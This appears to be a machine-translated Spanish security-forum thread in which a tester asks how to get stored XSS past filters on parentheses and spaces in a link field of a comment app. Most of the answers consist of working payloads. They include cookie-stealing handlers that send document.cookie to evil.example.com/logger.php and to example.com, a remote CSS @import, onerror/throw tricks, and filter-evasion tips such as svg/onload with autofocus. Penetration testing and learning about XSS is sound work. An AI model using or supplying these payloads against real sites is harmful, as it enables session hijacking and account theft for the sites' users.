Secuencias de comandos almacenadas entre sitios sin paréntesis o espacios

3

Estoy probando una aplicación de comentarios que toma un enlace del formulario http://google.com y lo coloca en una etiqueta href como tal:

<a rel="nofollow" href="http://google.com">

El comentario resultante se elimina de http:// o https:// .

En las pruebas, he estado intentando utilizar alguna forma de http://"onmouseover="alert(1); de esta manera tendría <a href="http://"onmouseover="alert(1);"> en la página, pero no ha funcionado.

Más información:

  1. Los paréntesis se filtran. He intentado varias codificaciones.

  2. Las etiquetas <script> se filtran, pero puedes solucionar esto a través de <scr<script>ipt> .

  3. No se pueden usar espacios (rompen la etiqueta si uso un espacio). He intentado ASCII y% 20.

  4. Puedo usar un punto y coma, pero tengo que duplicarlo si es el último carácter, y luego funciona bien.

  5. Los corchetes angulares, las comillas dobles, las comillas simples, las barras diagonales hacia delante, las barras diagonales hacia atrás y los dos puntos pasan sin filtro.

Realmente no sé cómo utilizar el <script>alert;throw 1;<script> que he visto usado antes, ya que parece que no ejecuta nada, e incluso si lo hiciera, el espacio no se puede usar.

¿Alguna idea?

    
pregunta 1111IIIIII111111IIII1 22.10.2014 - 08:06
fuente

3 respuestas

2

Asumo el siguiente filtro para mis ejemplos (parece coincidir con tu descripción; ignoré los filtros script y ; para simplificar las cosas, porque dijiste que puedes evitarlos):

$hasSpace = preg_match('/\s/', $_GET['v']);
if ($hasSpace) {
    echo 'space!';
} else {
    $replaced = str_replace(array('(', ')'), '', $_GET['v']);
    echo '<a href="' . $replaced . '">link</a>';
}

Incluir hoja de estilo

Es posible incluir una hoja de estilo a través de XSS como esto :

"><style>@import'http://evil.example.com/xss.css';</style>

Ahora puede cambiar el diseño del sitio web, que no está mal.

XSS a través de CSS

Puede ver una forma posible de usar CSS para ejecutar JavaScript en la publicación que vinculé anteriormente ( background-image: url('javascript:alert(document.cookie);') ; no funcionó para mí, pero podría funcionar para usted).

Y puede buscar en la web otras posibilidades (como expression para versiones anteriores de IE, etc).

Usando onerror con espacio

  

Realmente no sé cómo utilizar el <script>alert;throw 1;<script>

Aquí hay una descripción bastante buena cómo funciona XSS onerror .

Si modificamos mi código PHP anterior para permitir el uso de espacios en blanco (eliminar el if ), puede usar esto para un ataque:

"><script>onerror=alert;throw 1;</script>

Básicamente dice que si se produce un error, se debe llamar a la alerta (con el error como argumento). Y entonces se crea un error. Si usas throw "XSS" , entonces alertará a XSS .

Usando onerror sin espacio

Lo bueno? Ni siquiera necesitas un espacio : throw+1 funciona igual de bien.

Si no solo los espacios, sino todos los espacios en blanco se filtran, esto tampoco funcionará. Pero puede cambiarlo a something , y seguirá funcionando (ya que something no está definido, causará un error de referencia).

Si se filtra el espacio, pero el espacio en blanco no lo es

Si tiene un filtro como este: str_replace(array('(', ')', ' ') en lugar de la expresión regular de espacios en blanco en mi código original, puede reemplazar el espacio con + y hacer esto por ejemplo:

"+onmouseover="document.location='http://evil.example.com/logger.php?c='%2Bdocument.cookie
    
respondido por el tim 22.10.2014 - 16:00
fuente
1

¿Qué te parece:

  • javascript:document.location.href='http://www.example.com/'+document.cookie
  • "/><scri<script>pt>document.location.href='http://www.example.com/'+document.cookie</script>

?

¿Cumplen con las reglas de filtrado que has descubierto? Lo único que no entendí fue cuando dijiste " The resulting comment is stripped of http:// or https://. ". ¿Se refiere a la parte entre las etiquetas <a> y </a> , por lo que http://www.google.com generalmente se representa como <a rel="nofollow" href="http://google.com">google.com</a> ?

    
respondido por el SilverlightFox 23.10.2014 - 12:34
fuente
0

En primer lugar, puedes dividir las etiquetas en html usando / char. Ejemplo común es: <svg/onload=alert(1) .

En su caso, intente la carga útil como http://"/onmouseover="alert(1) . Debería funcionar.

En segundo lugar, intente evitar símbolos innecesarios en sus cargas útiles, como el punto y coma en su carga útil. Además, la cita " es un símbolo innecesario en la mayoría de los casos (no en su medida hasta ahora). Así que intenta escribir onload=<your_paylaod> en lugar de onload="<your_payload>" .

En tercer lugar, no uses las acciones de interacción con el usuario como onclick o onmouseover . Use onload , onerror o combínelos como onfocus=<your_payload> autofocus .

A continuación, puede intentar usar el indicador '' en lugar de paréntesis si no están permitidos. (El formato de wiki no me permitirá imprimir ningún valor dentro de los trazos, así que espero que lo entiendan.

Finalmente, para escapar de los filtros xss comunes, use prompt(1) en lugar de alert(1) , use <svg en lugar de <img , use document['cookie'] en lugar de document.cookie .

Buena suerte.

    
respondido por el PaulOverflow 22.10.2014 - 08:27
fuente

Lea otras preguntas en las etiquetas